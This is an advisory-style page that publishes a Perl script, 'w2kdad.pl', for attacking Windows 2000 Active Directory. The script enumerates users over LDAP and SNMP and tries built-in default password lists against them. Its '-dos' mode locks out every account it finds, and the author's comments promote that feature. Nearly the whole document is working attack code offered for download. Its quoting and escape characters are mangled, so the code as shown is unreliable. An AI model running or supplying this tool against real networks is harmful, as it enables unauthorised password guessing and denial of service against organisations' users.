‘Windows 2000 Dictionary Attacker against Active Directory’

Summary
Credit:

‘The tool can be also downloaded from:
http://www.geocities.com/real_wiseman/
The information has been provided by Wiseman.’


Details

‘The following tool is able to enumerate users and passwords found under the native Windows Active Directory.

#!C:/Perl/Bin/perl -w
# Author: Wiseman (wiseman@spray.se)
# Filename: w2kdad.pl
# Current Version: 0.94beta
# Created: 10th of December 2002
# Last Changed: 17th of March 2003
# ————————————————————————-
# Description:
# ————————————————————————
# W2kdad.pl or ‘Windows 2000 Dictionary Attacker Against Active Directory’
# for long, lets you enumerate users and check passwords in a
# native W2k AD.
#
# There’s an option to use SNMP to gather userdata as well as a DoS option
# that may or may not- depending on the lockoutsettings in the domain! –
# lock out selected users. Very useful! <evil grin>
# You should check the lockout setting with the tool ‘enum’ from
# http://razor.bindview.com before you decide whether a DoS will work or not.
#
# Caution!: Depending on the lockoutsettings normal operation of this
# script *may* lock out accounts. You have been officialy warned now so
# don’t blame me if this happens to you. Check my disclaimer btw!
# It is *not* my fault – ever! :o)
#
# ————————————————————————
# Change History
# ————————————————————————
# 0.94beta:
# First bugs found…tried to bind as $username instead of $base_dn
# Code still not cleaned properly and there are some quirks left to fix.
# Some outcommented code still lingers.
# This will be gone to version 1.0…promise!
# *LoL*
#
# The -dos mode works quite well, seemed to lockout Administrator too…
# Shouldn’t work actually and I didn’t really dare to verify this by
# logging out and logging in again as Administrator…
#
# I didn’t really want to lockout myself…
# If you feel to verify this be my guest. Don’t blame me if it screws up
# though…
#
#
# 0.93beta:
# Added Denial of Service switch ‘-dos’, output switch ‘-o’ and cleaned
# up the code a little. There are still outcommented code to be cleaned up
# later! Probably there also are some bugs waiting to be found
# but I deal with them later too, bro…
#
#
# 0.92beta:
# Messed around with several Perl SNMP-modules an entire afternoon to get
# SNMP functionality to work, but in the end I just thought ‘What the h*ck’
# and used Microsofts own tool ‘snmputil’ instead. It’s simple and it works,
# so I’m happy now…
#
#
# 0.91beta:
# Got the actual enumeration and password part to work. There are issues
# not corrected yet and this is still beta. I found out that failed LDAP
# authentication *do* trigger lock-outs making this an excellent DoS tool
# too! <evil grin>
#
# There are still outcommented stuff in the code for testing-purposes.
# This will be removed when going to version 1.0, whenever that now
# happens…live with it for the moment.
#
# 0.9beta:
# The Getopt::std module really screwed things up. I wanted a change
# from my older Perl-scripts that used Getopt::Long to use a more neat
# approach but no! The ::std module did not work as it was documented, it
# didn’t for instance assign a ‘1’ to all options that had no argument
# so they became unassigned instead, resulting in some nasty error-
# messages. (But the program still worked as intended. Go figure…)
# So back again to ::Long. Oh well….
#
# 0.5beta:
# First version with no LDAP functionality
#
# ————————————————————————
# Known Issues
# ————————————————————————
# 1: There is a strange thing going on with the default Domain Admin account
# Administrator: When I use Microsofts own LDP.exe I am able to bind as
# Administrator and everything seems OK, but when I am trying this with
# the script it does not work. Heaven knows why. The script works on other
# user account OK, but Administrator…nope….Hopefully I fix this
# in version 1.0…Stay tuned…
#
# 2: Checks for a blank password fails for some reason. Will try to
# fix this in 1.0.
#
# ————————————————————————
# Credits
# ————————————————————————
# Credit goes to Johnny at http://johnny.ihackstuff.com
# (johnny@ihackstuff.com) for giving me the original idea and
# a .c-code listing for a similar utility to build upon.
# I merely rewrote it in Perl with a twist. I added SNMP support and
# an option to ‘DoS’ the AD users. Oh well…
#
# ————————————————————————
# Dependencies
# ————————————————————————
# For W2kdad.pl to work you need the following Perl modules:
# LDAP:
# search.cpan.org/author/GBARR/perl-ldap-0.26/
# search.cpan.org/author/GBARR/Convert-ASN1-0.16/
# SNMP:
# Microsoft’s ‘snmputil’ from NT Resource Kit
# ‘snmputil’ is not included in this release, so you have to get it yourself.
# If you don’t have the NTRK, try
# http://www.petri.co.il/download_free_reskit_tools.htm
#
#
# ————————————————————————
# The Usual Disclaimer:
# ————————————————————————
# This script is written AS-IS and will not be supported
# Wiseman is not responsible for the script’s misuse and is not responsible
# for any damage resulting from running this script.
# It is *not* my fault so stop complaining
#
# ————————————————————————

use strict;
use Getopt::Long;
use Net::LDAP;

######################################
# Definitions of some global arrays and flags #
# Oh, you don’t think global arrays and flags are good programming? #
# Aha, ok, I see, Uh-huh… #
######################################

my @users_to_verify;
my @verified_users;
my @verified_users_and_passwords;
my @passwords_to_verify;

my $wisemans_app = ‘==| W2kdad.pl v. 0.94beta by Wiseman (wiseman@spray.se) |==’;

my $snmp_ok=0;

# Default we do want to check passwords, but Getopt assign a ‘1’ if the
# -nopw is present so I turn this around. An ‘1’ means don’t check
# passwords, an ‘0’ means check passwords. Default is ‘0’
# Oh how confusing this is!

my $checkpw=0;

# Default we do not want to DoS users! Getopt assign a ‘1’ if the
# -dos is present

my $dos_ok=0;

######################################
# Subroutines start #
######################################

######################################
# Show_Syntax #
# Description: #
# Shows the Syntax. Like you haven’t guessed that already! #
######################################

sub Show_Syntax {

 print ‘nSyntax:n’;
 print ‘——-n’;
 print ‘W2kdad.pl -h <IP-address> -d <domain name> [-o <filename> -u <filename> -p <filenmame> -s <community> -nopw -dos]n’;
 print ‘n’;
 print ‘Mandatory switches:n’;
 print ‘——————-n’;
 print ‘ -h <IP-address> : IP-address of target hostn’;
 print ‘ -d <domain name>: The domain name of the target:n’;
 print ‘ : Only a domain name like ‘target.comn’;
 print ‘ : is supported in this version of W2kdadn’;

 print ‘n’;
 print ‘Optional switches:n’;
 print ‘——————n’;
 print ‘ -o <filename> : Name of outputfilen’;
 print ‘ -u <filename> : Name of file with usernames to enumeraten’;
 print ‘ -p <filename> : Name of passwordfilen’;
 print ‘ -s <community> : Use SNMP to enumerate usersn’;
 print ‘ : (You must provide a community name for -s to work)n’;
 print ‘ -nopw : Do not test passwords, just enumerate usersn’;
 print ‘ -dos : Try to DoS ie lockout all users found.n’;
 print ‘ : This works best in combination with the -s switchn’;
 print ‘ : (The -dos switch is not compatible with the -nopw switch)n’;
 die (‘n’);

} # End of subroutine Show_Syntax

#####################################
# End of Subroutine LoadPasswordFile #
######################################
######################################
# IP_check #
# Description: #
# IP_check checks the IP-address and returns ‘1’ for a valid IP-address #
# or ‘0’ for an invalid IP-address to the calling routine #
######################################

sub IP_check {

##################################
## Declare local variables start
##################################

 my $A;
 my $B;
 my $C;
 my $D;
 my $IP_address;
 my $error=0;
 my $success=1;
 my @number_of_groups;

##################################
## Declare local variables end
##################################

# Grab the IP-address to scan

 $IP_address = <@_>;

# Check that the IP-address consists of 4 groups divided by dots
# For some reason Perl wants an array here, instead of a scalar otherwise
# a strange errormessage shows up. Oh well…array it is then.

 @number_of_groups = split(/./,$IP_address);

# This is if 1

 if ( @number_of_groups < 4 ) {

# If the IP-address provided does not have at least four groups return
# an error

 return($error);
 } # End if 1

# Now we split the IP-address into components
# If we hadn’t checked the correct length of the IP-address above
# some of the vars could have ended up uninitialized and we don’t want that

 ($A, $B, $C, $D) = split(/./,$IP_address);

 # Check that $A – $D are digits only *and* > 0 and < 256

# This is if 2
 if (($A=~m/D/) || ($B=~m/D/) || ($C=~m/D/) || ($D=~m/D/)) {

# If either of the values are not digits return with errorcode
 return($error);
 } # End if 2

# If we come here there are indeed only digits in $A – $D, but are they valid?

# This is if 3
 if (($A < 0 || $A > 255) || ($B < 0 || $B > 255) || ($C < 0 || $C > 255) || ($D < 0 || $D > 255)) {

# If either of the values are not in correct range return with errorcode

 return($error);
 } # End if 3

# If we come here the digits in $A-$D are valid for an IP-address

return($success);

} # End of subroutine IP_check

######################################
# End of Subroutine IP_check #
######################################

######################################
# SNMP_enumerate #
# Description: #
# SNMP_enumerate tries to get all the users through SNMP before #
# dictionary attack begins. #
# #
######################################

sub SNMP_enumerate {

##################################
## Declare local variables start
##################################

my $host;
my $community;
my $error=0;
my $success=1;

my @snmputil_output;
my $s_output;

my $junk;
my $username;

##################################
## Declare local variables end
##################################

# Put the host and communnity string passed to this subroutine
# in the local var $host and $community

 ($host, $community) = <@_>;

# Run SNMPutil to walk MIB-tree
#
 open(SNMPUTIL, ‘snmputil walk $host $community .1.3.6.1.4.1.77.1.2.25 2>&1 |’);
 @snmputil_output = <SNMPUTIL>;

# Check output from SNMPutil

# This is foreach 1

 foreach(@snmputil_output) {

 $s_output = $_;

# The global flag $snmp_ok is *only* set iff the word ‘String’ is found
# which btw indicates that the target answers to snmp requests and that the
# commuity string is correct. All other results from snmputil will result
# in a negative $snmp_ok flag.

# This is if 1
 if ($s_output =~m/String/i) {

 $snmp_ok = $success;

 ($junk, $junk, $junk, $username) = split(/ +/, $s_output);

# Take away trailing newline

 $username =~ s/n//g;

# Copy the username to the array @verified_users

 $verified_users[++$#verified_users] = $username;

 } # End if 1

 } # End foreach

# Sort the users found. If no users found we don’t sort but gives an
# informative errormessage. Oh yes!

# This is if 2

 if ($snmp_ok == 1 ) {
 @verified_users = sort @verified_users;
 } else {

 print ‘n–| SNMP enumeration failed! Falling back to supplied file with usernames or internal userlistn’;

 } # End if 2

} # End of subroutine SNMP_enumerate

######################################
# End of Subroutine SNMP_enumerate #
######################################

######################################
# File_parser #
# Description: #
# File_parser checks and loads files to use. #
######################################

sub File_parser {

##################################
## Declare local variables start
##################################

 my $userfile;
 my $userfile_size;
 my $passwordfile;
 my $passwordfile_size;
 my $user;
 my $password;

##################################
## Declare local variables end
##################################

# Put the values passed to this subroutine (by main)
# in the local vars $userfile and $passwordfile

 ($userfile, $passwordfile) = <@_>;

# Check that the user really provided us with filenames.
# If not the names will be ‘EmptyFilename’ and we will use default lists instead

# This is if 1 – Check whether SNMP was used and all went well
# If this is the case, we do not need to load a file with usernames
# or supply our own internal list. SNMP will give us *all* users anyway

 if (!$snmp_ok) {

# This is if 2

 if ($userfile eq ‘EmptyFilename’) {

# If the user did not give us a filename, we preload the array with
# some usernames of our own

 @users_to_verify=(
 ‘Administrator’,
 ‘Admin’,
 ‘Backup’,
 ‘Operator’,
 ‘oper’,
 ‘test’,
 ‘test1’,
 ‘test2’,
 ‘test3’,
 ‘test4’,
 ‘test5’,
 ‘testuser’,
 ‘testuser1’,
 ‘testuser2’,
 ‘testuser3’,
 ‘testuser4’,
 ‘testuser5’);

 } else {

# If the user provided us with a filename, we open the file and
# load it into the @users_to_verify array

# Open the userfile in Read Only Mode. If the file does not exist,
# abort program with errormessage

 open (USER_FILE,$userfile) || die (‘n**| Error! Could not open file $userfilen’);

# Read the whole file and put each line, ie each user to check in the array.

 print ‘nLoading users to check from the file $userfile…’;

 @users_to_verify = <USER_FILE>;
 $userfile_size = @users_to_verify;
 print ‘done!’;
 print'($userfile_size users loaded)n’;

# Close the userlist

 close (USER_FILE);

# Take away trailing Newline

 foreach $user (@users_to_verify) {

 $user =~ s/n//g;
 } # End for each

 } # End if 2

 } # End if 1

# If user don’t want to check passwords, we don’t bother loading any passwords
# This is if 3
 if (!$checkpw) {

# This is if 4

 if ($passwordfile eq ‘EmptyFilename’) {

# If the user did not give us a filename, we preload the array with
# some passwords of our own

 @passwords_to_verify=(
 ‘system’,
 ‘password’,
 ‘pasword’,
 ‘passw0rd’,
 ‘admin’,
 ‘adminadmin’,
 ‘administrator’,
 ‘secret’,
 ‘user’,
 ‘testar’,
 ‘backup’,
 ‘operator’,
 ‘oper’,
 ‘welcome’);

 } else {

# If the user provided us with a filename, we open the file and load it
# into the @passwords_to_verify array

# Open the userfile in Read Only Mode. If the file does not exist,
# abort program with errormessage

 open (PASS_FILE,$passwordfile) || die (‘n**| Error! Could not open file $passwordfilen’);

# Read the whole file and put each line, ie each user to check in the array.

 print ‘nLoading passwords to check from $passwordfile into array…’;

 @passwords_to_verify = <PASS_FILE>;
 $passwordfile_size = @passwords_to_verify;

 print ‘done!’;
 print'($passwordfile_size passwords loaded)n’;

# Close the userlist

 close (PASS_FILE);

# Take away trailing Newline

 foreach $password (@passwords_to_verify) {

 $password =~ s/n//g;

 } # End for each

 } # End if 3

 } # end if 4

} # End of subroutine File_parser

######################################
# End of Subroutine File_parser #
######################################
######################################
# Output_file_writer #
# Description: #
# Output_file_writer writes the results to a file #
######################################

sub Output_file_writer {

##################################
## Declare local variables start
##################################

 my $outputfile;
 my $temp;

##################################
## Declare local variables end
##################################

# Put the values passed to this subroutine
# in the local var $outputfile

 ($outputfile) = <@_>;

# If the user did not provide a filename the filename not the name
# will be ‘EmptyFilename’

 print ‘n–| Writing results to file $outputfile…’;

# Open file for writing. Careful! No error checking yet!

 open(OUTFILE, ‘>$outputfile’);

# Write verified users
# Write heading
 print OUTFILE ‘nVerified usersnn’;

# This is foreach 1

 foreach $temp (@verified_users) {
 print OUTFILE $temp;
 print OUTFILE ‘n’;
 } # end foreach 1

# Write verified users and passwords
# Write heading
 print OUTFILE ‘nnVerified users and passwordsnn’;

# This is foreach 2

 foreach $temp (@verified_users_and_passwords) {
 print OUTFILE $temp;
 print OUTFILE ‘n’;
 } # end foreach 2

 close (OUTFILE);

 print ‘Done!n’;

} # End of Output_file_writer

######################################
# End of Subroutine Output_file_writer #
######################################

######################################
# Scan_engine #
# Description: #
# Scan_engine performs the scanning for us #
######################################

sub Scan_engine {

##################################
## Declare local variables start
##################################

my $host;
my $domain;
my $domain_part1;
my $domain_part2;
my $ldap;
my $status;
my $mesg;
my @entries;
my $base_dn;
my $username;
my $entry;
my $foundflag;
my $password;
my $counter;
my $success;
my $doscounter;

# In $passwordarraysize the size of the @passwors_to_verify is saved, used later on
# in the While clause.

my $passwordarraysize=@passwords_to_verify;

##################################
## Declare local variables end
##################################

# Put the host passed to this subroutine (by main)
# in the local var $host

 ($host, $domain) = <@_>;

# Split $domain into two parts for the search to work
# Right now this script only supports a domain name like
# ‘target.com’ with 1 dot. If domain is test.target.com
# things will probably go haywire…

 ($domain_part1, $domain_part2) = split(/./,$domain);

# Initial connection to host, no errorchecking for time-outs yet…

 print ‘n–| Connecting to $host…’;
 $ldap = Net::LDAP->new($host) or die ‘$@’;
 print ‘done!n’;

# I am not really sure if I have to bind really, since things seems to
# work anyway…but I bind anyway for the heck of it!

 # $ldap->bind;

# Enumerate users loaded from file or from defaultlist
# Only proceed with user enumeration iff SNMP enumeration was not used

# This is if 1

 if (!$snmp_ok) {

print ‘n–| Verified users.nn’;

# Check each username in the global array @users_to_verify
# Each username ends up in the var $username.

# This is foreach 1
 foreach (@users_to_verify) {
 $username = $_;
 $base_dn = ‘CN=$username,CN=Users,DC=$domain_part1,DC=$domain_part2’;

# Search the LDAP directory

 $mesg = $ldap->search(base => $base_dn, scope => ‘sub’, filter => ‘(objectclass=*)’);

# Get the errorcode
# An errorcode of 0 indicates that a user *does* exist in the directory
# An errorcode of 32 indicates that user *does not* exist in the directory
# If we receve any other errorcode we bail out!

 $foundflag = ($mesg->code);

# This is if 2
 if ( $foundflag == 0 ) {
 print ‘$usernamen’;

# If user is found copy the username to the array @verified_users

 $verified_users[++$#verified_users] = $username;

 } # End if 2

# This is if 3
 if ((!$foundflag == 0 ) && (!$foundflag == 32 )) {

 print(‘n–| Aborting! LDAP Errorcode=’);
 die ($mesg->code);

 } # End if 3

 } # End foreach 1

 } else {

 print ‘n–| The following usernames are verified with SNMP:nn’;

# This is foreach 2
 foreach (@verified_users) {
 $username = $_;
 print ‘$usernamen’;
 } # End foreach 2

 } # End if 1

##################################
# Enumerate verified users with passwords from list or file
##################################

# Only proceed with password enumeration iff -nopw was not used

if (!$checkpw) {

# This is foreach 3
#
 foreach (@verified_users) {
 $username = $_;
 $base_dn = ‘CN=$username,CN=Users,DC=$domain_part1,DC=$domain_part2’;

# Reset $counter and $success

 $counter=0;
 $success=0;

# If DoS mode is selected don’t do the following checks!

if (!$dos_ok) {

print ‘n–| Enumerating passwords for $usernamen’;

# These is a special case! Check with a password that is the same as the useraccount!
# Password = Username

 $mesg = $ldap->bind( $base_dn, password => $username, version => 3 );
 $foundflag = ($mesg->code);
 # print ‘Foundflag USername is Password:$foundflagn’;
 if ( $foundflag == 0 ){
 print ‘nUser: $username, Password=$usernamen’;

# If users PW is found copy the username *and* PW to the array @verified_users
 $verified_users_and_passwords[++$#verified_users_and_passwords] = $username.’/’.$username;
 # $ldap->unbind;
 $success=1;
 }

# This is while 1

 while (($success==0) && ($counter < $passwordarraysize)) {

 $password = $passwords_to_verify[$counter];

 # $ldap->unbind;
 $mesg = $ldap->bind( $base_dn, password => $password, version => 3 );
 $foundflag = ($mesg->code);
 # print ‘Foundflag Password:$foundflagn’;

# This is if 3
 if ( $foundflag == 0 ){

 print ‘nUser: $username, Password=$passwordn’;
 $success=1;

# If users PW is found copy the username *and* PW to the array @verified_users
 $verified_users_and_passwords[++$#verified_users_and_passwords] = $username.’/’.$password;
 } # End if 3

# Increment counter

 $counter++;

 } # End while 1

} else {

# DoS Away! We don’t care about $mesg here…
# 200 attempts should be enough…

print ‘n–| DoS: Trying to lockout user: $usernamen’;

 for ($doscounter = 0; $doscounter <200; $doscounter++ ) {
 $mesg = $ldap->bind( $base_dn, password => ‘DoS_Away!’, version => 3 );
 } # End for loop
} # End if

 } # End foreach 3

} else {

 print ‘n–| No passwords will be enumerated due to -nopw switchn’;

}

} # End of subroutine Scan_engine

######################################
# End of Scan_engine #
######################################
######################################
# Start of main program #
######################################

print ‘n$wisemans_appn’;

##################################
## Declare local variables start
##################################

my $numberofargs = @ARGV;
my $host;
my $domain;
my $outputfile=’EmptyFilename’;
my $passwordfile=’EmptyFilename’;
my $userfile=’EmptyFilename’;
my $success;
my $community=’EmptyCommunity’;

##################################
## Declare local variables end
##################################

if ($numberofargs < 3) {
 &Show_Syntax;
 } # End if

# If we get here the correct *number* of arguments were given.
# We have not yet seen that it is the *correct* arguments that have been
# given by the user

$success =
Getopt::Long::GetOptions(‘h=s’,$host,’d=s’,$domain, ‘o:s’,$outputfile, ‘u:s’,$userfile, ‘p:s’,$passwordfile,’nopw’,$checkpw,’s:s’,$community,’dos’,$dos_ok);

# If wrong switches were given we die with Syntax errormessage
# $Success is 1 if all i OK, 0 or null otherwise

if (!$success) {
 &Show_Syntax();
 } # End if

# Check that the IP-address provided is correct
# If not die with error-message

 $success=IP_check($host);

 if ( $success != 1 ) {
 print ‘n****************************************************************n’;
 print ‘* Error: The switch -h $host is not a valid IP-address.n’;
 print ‘****************************************************************n’;
 &Show_Syntax;
 }

 if (($checkpw == 1) && ($dos_ok == 1)){
 print ‘n****************************************************************n’;
 print ‘* Error: The switches -nopw and -dos are not compatible!n’;
 print ‘****************************************************************n’;
 &Show_Syntax;
 }

# Enumerate through SNMP if user wants that

 if (!($community eq ‘EmptyCommunity’)) {
 &SNMP_enumerate($host,$community);
 } # End if

# Parse the files and load them into the global arrays

 &File_parser($userfile, $passwordfile);

# Call the Scan_engine to do the work!
# Calling the Scan_engine! Come in Scan_engine!

 &Scan_engine($host, $domain);

# Check if user wants to write to file

 if (!($outputfile eq ‘EmptyFilename’)) {
 &Output_file_writer($outputfile);
 } # End if’

Categories: Tools